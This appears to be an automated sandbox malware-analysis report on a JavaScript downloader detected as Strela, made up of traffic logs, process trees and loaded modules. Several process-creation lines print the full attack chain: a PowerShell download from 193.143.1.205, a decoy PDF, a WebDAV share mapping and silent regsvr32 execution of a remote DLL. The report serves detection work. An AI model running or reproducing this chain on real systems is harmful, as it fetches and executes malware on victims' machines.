TCP traffic: 192.168.2.8:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000001.00000002.1486311277.0000021C2F02A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000001.00000002.1486172046.0000021C2F01B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1554903197.0000020CDD388000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1555173206.0000020CDD3E1000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1543370419.0000020CDD3AC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1543370419.0000020CDD3C3000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1554965364.0000020CDD3AC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1554965364.0000020CDD3C3000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1542370587.0000020CDD3DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000003.1543370419.0000020CDD3C3000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1554965364.0000020CDD3C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/ZQ
Source: net.exe, 00000007.00000002.1554903197.0000020CDD388000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/paceJ
Source: net.exe, 00000007.00000003.1543370419.0000020CDD3C3000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1554965364.0000020CDD3C3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/vVNY:
Source: svchost.exe, 00000009.00000002.2779626669.000001C4C9AA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1543314732.000001C4C9940000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 1612, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 18058273772912511871.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2464:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_q30p2jbc.tlx.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\18058273772912511871.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1616,i,5949996619656126353,16474558184408985935,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30993215143696.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1616,i,5949996619656126353,16474558184408985935,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
